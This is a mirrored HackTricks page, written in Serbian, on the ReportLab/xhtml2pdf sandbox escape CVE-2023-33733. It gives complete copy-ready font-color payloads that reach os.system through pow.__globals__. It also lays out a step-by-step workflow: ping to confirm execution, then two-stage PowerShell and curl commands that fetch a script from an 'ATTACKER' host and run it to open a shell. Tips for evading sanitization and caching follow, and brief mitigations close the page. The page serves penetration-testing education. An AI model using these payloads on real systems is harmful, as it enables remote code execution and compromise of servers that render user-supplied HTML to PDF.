mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
6.7 KiB
Markdown
80 lines
6.7 KiB
Markdown
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
Ova stranica dokumentuje praktičan sandbox escape i RCE primitiv u ReportLab-ovom rl_safe_eval koji koristi xhtml2pdf i druge PDF-generacione pipeline-ove pri renderovanju korisnički kontrolisanog HTML-a u PDF.
|
|
|
|
CVE-2023-33733 utiče na ReportLab verzije do i uključujući 3.6.12. U određenim kontekstima atributa (na primer color), vrednosti obavijene u triple brackets [[[ ... ]]] se evaluiraju na serveru pomoću rl_safe_eval. Kreiranjem payload-a koji pivota od dozvoljenog builtin-a (pow) ka njegovim Python funkcijskim globals, napadač može doći do modula os i izvršiti komande.
|
|
|
|
Ključne tačke
|
|
- Trigger: ubacite [[[ ... ]]] u evaluirane atribute kao što je <font color="..."> unutar markup-a koji parsira ReportLab/xhtml2pdf.
|
|
- Sandbox: rl_safe_eval zamenjuje opasne builtine, ali evaluirane funkcije i dalje izlažu __globals__.
|
|
- Bypass: kreirajte tranzitornu klasu Word da zaobiđete rl_safe_eval provere imena i pristupite stringu "__globals__" dok izbegavate filtriranje blokiranih dunder imena.
|
|
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
|
- Stabilnost: Vratite validnu vrednost za atribut nakon izvršenja (za color, koristite na primer 'red').
|
|
|
|
Kada testirati
|
|
- Aplikacije koje izlažu HTML-to-PDF export (profile, invoices, reports) i gde se u PDF metadata ili HTTP odgovorima vidi xhtml2pdf/ReportLab.
|
|
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
|
|
- HTTP odgovor za PDF često počinje komentarom generatora iz ReportLab-a
|
|
|
|
Kako bypass sandboksa funkcioniše
|
|
- rl_safe_eval uklanja ili zamenjuje mnoge builtine (getattr, type, pow, ...) i primenjuje filtriranje imena da odbije atribute koji počinju sa __ ili su u denylisti.
|
|
- Međutim, sigurne funkcije žive u globals rečniku dostupnom kao func.__globals__.
|
|
- Koristite type(type(1)) da povratite pravi builtin type funkciju (zaobilaženje ReportLab-ovog wrapper-a), zatim definišite klasu Word izvedenu iz str sa izmenjenim ponašanjem poređenja tako da:
|
|
- .startswith('__') → uvek False (zaobilaženje provere startswith('__'))
|
|
- .__eq__ vraća False samo pri prvom poređenju (zaobilaženje provere članstva u denylisti) i True kasnije (tako da Python getattr radi)
|
|
- .__hash__ je jednak hash(str(self))
|
|
- Sa ovim, getattr(pow, Word('__globals__')) vraća globals dict omotane pow funkcije, koji uključuje importovani os modul. Zatim: ['os'].system('<cmd>').
|
|
|
|
Minimalni obrazac eksploatacije (primer za atribut)
|
|
Postavite payload unutar evaluiranog atributa i osigurajte da vrati validnu vrednost atributa preko boolean i 'red'.
|
|
|
|
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
|
exploit
|
|
</font></para>
|
|
|
|
- Obrazac sa list-comprehension dozvoljava jedini izraz prihvatljiv za rl_safe_eval.
|
|
- Trailing and 'red' vraća validnu CSS boju tako da renderovanje ne puca.
|
|
- Zamenite komandu po potrebi; koristite ping da potvrdite izvršenje pomoću tcpdump-a.
|
|
|
|
Operativni workflow
|
|
1) Identifikujte PDF generator
|
|
- PDF Producer prikazuje xhtml2pdf; HTTP odgovor sadrži ReportLab komentar.
|
|
2) Pronađite input koji se reflektuje u PDF (npr. profile bio/description) i pokrenite export.
|
|
3) Verifikujte izvršenje sa niskim šumom koristeći ICMP
|
|
- Pokrenite: sudo tcpdump -ni <iface> icmp
|
|
- Payload: ... system('ping <your_ip>') ...
|
|
- Windows često pošalje tačno četiri echo zahteva po defaultu.
|
|
4) Uspostavite shell
|
|
- Za Windows, pouzdan dvofazni pristup izbegava probleme sa quoting/encoding:
|
|
- Stage 1 (download):
|
|
|
|
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
|
|
|
- Stage 2 (execute):
|
|
|
|
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
|
|
|
- Za Linux meta, sličan dvofazni pristup sa curl/wget je moguć:
|
|
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
|
|
|
Napomene i saveti
|
|
- Konteksti atributa: color je poznat evaluirani atribut; i drugi atributi u ReportLab markup-u mogu takođe evaluirati izraze. Ako je jedna lokacija sanitizovana, probajte druge koje se renderuju u PDF toku (različita polja, table styles, itd.).
|
|
- Quoting: Držite komande kompaktne. Dvofazni download značajno smanjuje probleme sa quoting-om i escaping-om.
|
|
- Pouzdanost: Ako su exporti keširani ili stavljeni u red, blago varirajte payload (npr. random path ili query) da izbegnete keširanje.
|
|
|
|
Mitigacije i detekcija
|
|
- Nadogradite ReportLab na 3.6.13 ili noviji (CVE-2023-33733 je ispravljen). Pratite sigurnosne advisore i u paketima distribucije.
|
|
- Ne prosleđujte korisnički kontrolisan HTML/markup direktno u xhtml2pdf/ReportLab bez striktne sanitizacije. Uklonite/odbijte [[[...]]] evaluacione konstrukte i vendor-specific tagove kada je input nepouzdan.
|
|
- Razmotrite onemogućavanje ili umotavanje korišćenja rl_safe_eval za nepouzdane inpute.
|
|
- Monitorišite sumnjive odlazne konekcije tokom generisanja PDF-a (npr. ICMP/HTTP sa app servera dok se exportuju dokumenti).
|
|
|
|
References
|
|
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
|
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
|
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
|
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|